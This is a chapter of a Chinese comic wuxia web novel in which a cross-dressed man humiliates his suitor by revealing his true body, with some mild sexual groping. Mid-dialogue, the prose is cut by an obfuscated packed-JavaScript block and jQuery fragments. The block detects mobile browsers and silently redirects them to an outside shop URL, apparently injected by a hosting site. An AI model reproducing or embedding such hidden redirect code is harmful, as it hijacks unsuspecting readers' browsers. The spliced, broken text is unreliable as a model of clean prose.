82. 伤风败俗

作品:《青妖

    竟画了只栩栩如生的蝴蝶!


    那粉蝴蝶宛若展翅般扑在“其其姑娘”的脖颈前,蝶翅尾端延至锁骨,翅上的银鳞随着美人的气息起伏,泛起星星闪闪的光泽。


    柳却洲呼吸一紧,情不自禁低叹一声:“好美!”


    方无其微不可察地挑了挑眉,心道:果然如我所料。


    说着他又换上一副忧愁的面容,唇角挤出一丝惨淡的笑,用那双像是融了一池秋水的凤眸看着柳却洲问道:“很美么?”


    柳却洲的喉结不自觉地上下滑动了下,声音沙哑道:“很美!”


    方无其拇指轻抚着颈前的粉蝶,状似强颜欢笑道:“这蝶……是大师兄我同定下婚约后,他亲手替我描上的。他说,‘其儿花容惹蝶’,替我纹上这蝶,就是为了告诫我,断不能在外面抛头露面,招蜂引蝶。”


    柳却洲闻言一愣,心情十分复杂。


    方无其瞥见他那副神情,一个劲儿在心里偷乐。


    他努力把上扬的嘴角改成苦笑,满嘴跑马道:“他还说,能倾慕于我的只能有他一人,能亲我脖子的蝴蝶也只能有这一只,让我时刻谨记,自己是他的人。”


    方无其说完就忍不住拿手蹭了蹭自己那起了一层鸡皮疙瘩的胳膊,心下感叹道:太可怕了太可怕了!我骚起来竟然连自个儿都受不了!哈哈哈哈哈哈哈哈哈!!!


    柳却洲却全然不似他这般心思。他听见这话,心中五味杂陈,对那只粉蝶是又爱又恨。


    这粉蝶明明是别的男人打在自己情人颈前的烙印,十分碍眼,对他来说,却有种禁忌而又致命的诱惑。


    他每看它一眼,都被那粉蝶煽动着牵出内心的冲动——他渴望着撕咬那只粉蝶。


    要不说男人最懂男人。


    方无其见他舔了舔嘴唇,下意识捂住喉咙后退两步,内心大喊道:我的娘嘞!你可别搞偷袭啊!


    柳却洲见“其其姑娘”警惕地朝身后退去,意识到了自己的失态,这才将眼神里的饥渴收敛了些。


    柳却洲垂眼歉然道:“姑娘莫怕,我只是……”


    方无其拍拍他的肩以示宽慰道:“诶——年轻人嘛,血气方刚的,我懂的。”


    柳却洲见“其其姑娘”如此体贴大度,不由得对她更爱了。


    与他在小路上散了好一会儿步,方无其感觉先才吃的晚饭都消化了,此刻屎意渐生,不由得加快了返程的步伐。


    “姑娘?”


    柳却洲在身后喊他,方无其没回头,顾自走着:“你说。”


    “柳某……还未得知姑娘姓名。”


    方无其肚子有些胀气,语气也变得有些不耐烦:“哎呀,都说了不要问这么多。我私下会你已经是伤风败俗了,你竟还要问我名字?是想闹得整个瀛洲都知道么?”


    “我不是这个意思……”


    “那你就闭嘴走快点,我赶着回去呢……”


    “其其姑娘!”


    柳却洲突然闪身挡在她面前,见“其其姑娘”抬头看他,柳却洲定定对她说道:“和我私奔吧。”


    方无其听见这话,差点没忍住崩了个屁出来。他颇为为难地咬了咬嘴唇,有些哭笑不得看着柳却洲道:“我们改日再说好不好。”


    柳却洲拦下她,一脸急切道:“等不到改日了!祭月大典在即,阿郎山那位不日便要出关,我们没有时间了!”


    方无其捂着肚子心下嘀咕道:你早不提晚不提偏偏这个时候提,罢了罢了,这缩骨功我也受够了,再玩几天人都要饿死了。


    下了决定后,方无其笑眯眯地看着他:“柳少侠,你当真愿意同我私奔?”


    柳却洲连忙点头:“当真!”


    “若你反悔……”


    “不可能!”柳却洲斩钉截铁道,“若违此誓,天打雷劈,不得好死!”


    男人嘛,既想成大事,总得做出点牺牲才行。


    方无其在心里宽慰自己后,将身子贴了上去,头靠在柳却洲的肩上道:“柳少侠,这可是你说的。”


    情到深处,发生些什么也就是自然而然的了,柳却洲最通这个理儿了。


    柳却洲握住“其其姑娘”的手,低头朝她的唇吻去。


    方无其连忙缩着脖子躲开,抽出一只手抵住他的唇。


    正当柳却洲心生疑惑之时,却察觉他的手正被一只手带着,在怀中人的身子上游走。


    他还来不及反应,右手就已经擦过“其其姑娘”的□□,惹得他身子阵颤,小腹也紧了起来。


    方无其拿着他的手朝自己身下探去,戏谑道:“怎样?我的身子,你可还满意?”


    待摸到那胯间之物后,柳却洲瞬间僵如磐石,仿佛脑中所有的思绪都被抽空了,只愣在原地看着面前冲他一脸诡笑的“其其姑娘”。


    真是伤敌一千,自损八百啊!


    方无其心下感叹道,接着松开他的手,往后退了两步,等他开口。


    等了半晌,见他仍是跟尊雕像似的杵在自己跟前,方无其白了他一眼,紧接着从袖中掏出个瓷瓶,倒了两粒药丸扔嘴里。


    吞下后他凝思片刻,又扯下瓶口处的红布,倒了两粒服下。


    不到一盏茶的功夫,方无其突然开始浑身颤抖,紧接着他的身子就不停传来“咔”“咔”“咔”的声响。


    方无其配合着这声响,以极其诡异的姿势舒展着四肢,最后他的双手竟交叉着绕过后背,伸到肩上,将那颗倾国倾城的头掰得咔咔作响。


    他边揉手腕边站直身子,整个人竟然变得几乎和柳却洲一样高,就连手指都要长了几分。


    他伸了个大大的懒腰,身上不知哪处又随着他的动作发出了声响。


    柳却洲惊呆了,眼神发直地盯着他:“你……是人还是妖?”


    方无其闻言瞥了他一眼,揉着自己刚刚才伸展开来的肩头回道:“缩骨功,见过没?没见过世面……”


    说着,他又伸手扯出藏在衣服下的两个棉花包,扔到柳却洲怀里嘲讽道:“喏,你喜欢的大/胸。”


    柳却洲没伸手来接,只呆呆地看着地上那两个硕大的棉花包。


    方无其心道不行,这棉花还得拿回去塞枕头,于是他又上前将棉花包捡了回来,拍落尘土后藏在袖中。


    柳却洲看着面前这人,宽肩窄腰,分明是男子的身形,可又顶着一张倾世绝色的脸。


    柳却洲仍是不可置信,费力咽了口唾沫后,极其艰难地问道:“你,你……是男人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222296|190054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    “不然呢?”方无其挑眉看他,“绝世美男方无其,听过没?”


    “……方无其……”柳却洲喃喃念道,而后又抬起头一脸心碎地看着他,“这是你的名字么?”


    瞧见他这副丧家犬般的痴样,方无其终是忍不住,放声大笑起来。


    他笑得形容扭曲,五官乱飞,以至于这场景在柳却洲眼里十分割裂。


    柳却洲从未见过如此张狂的笑,即使是在江湖上他见过的那些猖狂肆意的魔头脸上,也未曾出现过这般放肆的笑。


    这样的笑容出现在他心心念念的神容上,让柳却洲感到十分陌生和刺眼。


    眼前这人就像是被魔头夺舍一般,不然他实在无法相信这样的神颜上怎会露出这般张狂肆意的笑。


    到底是在笑什么能笑成这样?这世上有这么好笑的事么?


    她在看我,她的手指着我在笑,她在笑我什么?笑我是个丑角么?到底是在笑我爱她还是她耍了我?很好笑么?


    柳却洲死死咬住下唇,忍住拼命想要夺眶的泪水。


    方无其笑得肚子生疼,手搁在腰上揉了好一会儿才喘过气来,见柳却洲垂首不语,只以为他是不愿相信,于是伸指在舌尖沾了沾,随后在脖颈前打起圈来。


    那只粉蝴蝶很快变得七扭八歪,最后完全失了形状,成了几斑颜色附于脖颈处。


    看着方无其颈前的那两处凸起,柳却洲悬着的心彻底死了。


    像是那即登仙的人被临门一脚,跌破层层云障,最终堕入了阿鼻地狱。


    柳却洲只觉着所有的一切都失去了色彩。他眼中有泪落下,双唇张张合合,却连半个字也挤不出。


    果然还是男人最懂男人!


    若不是方无其知道他此前做过什么,仅是瞧着他这副伤心欲绝的表情,方无其险些都要和他感同身受了。


    唉——偷心贼反被偷心呐!


    方无其撇了撇嘴角,心道:大仇得报!赶紧开溜吧。


    他一边瞅着柳却洲的神色,一边快步朝山上走去。


    其实方无其原本是计划在某个青天白日里,挑个花南台人多的地方,当众调戏羞辱他,既伤了他的心又损了他的名,花南台人多也好护着自己,免得他一怒之下拿剑把自己捅成筛子。


    可今夜他突然提起私奔,方无其正好这几日陪他演戏演够了,心想择日不如撞日,就今夜把这事儿给了了,自己浑身筋骨一直缩着也怪难受的。于是一个没忍住,捅破了这层窗户纸。


    方无其连着服了几日的软骨散,身子软得跟棉花似的,再加之现下刚舒展开身骨,整个人手脚根本使不上力,若真打起来,别说还手了,只消挨上玄武门那些高手弟子一掌,便可以提前离了师门飞天做仙人去了。


    方无其心道:得趁他没回过神来赶紧开溜。


    方无其拨开树丛往栈道方向走去,明明身后并无动静传来,可方无其越走越觉着后脖颈凉飕飕的。


    正当他走出了小路,跨上栈道之时,听见后方传来一撕心裂肺的怒吼。


    “你给我站住——”


    “妈呀!”


    这一声震得方无其浑身一哆嗦,他撩起衣袍赶紧连滚带爬地往山下跑去。